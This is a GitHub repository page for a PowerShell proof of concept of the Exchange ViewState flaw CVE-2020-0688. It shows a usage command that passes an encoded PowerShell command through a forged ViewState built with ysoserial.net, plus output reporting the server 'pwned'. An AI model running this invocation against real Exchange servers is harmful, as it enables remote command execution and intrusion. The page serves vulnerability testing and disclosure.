Skip to content

PoC for Forgot2kEyXCHANGE (CVE-2020-0688) written in PowerShell

License

Notifications You must be signed in to change notification settings

justin-p/PSForgot2kEyXCHANGE

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 

Repository files navigation

PSForgot2kEyXCHANGE

PoC for Forgot2kEyXCHANGE (CVE-2020-0688) written in PowerShell

Usage

This PoC requires a valid Username and Password.

This PoC uses ysoserial.net to create the new ViewState which contains the command you specified on the -Command param. If you don't already have this installed on your system download it here.

PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User 'Steve.McGreeve@domain.tld' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !

Contributing

Feel free to open issues, contribute and submit your Pull Requests. You can also ping me on Twitter (@JustinPerdok)

About

PoC for Forgot2kEyXCHANGE (CVE-2020-0688) written in PowerShell

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published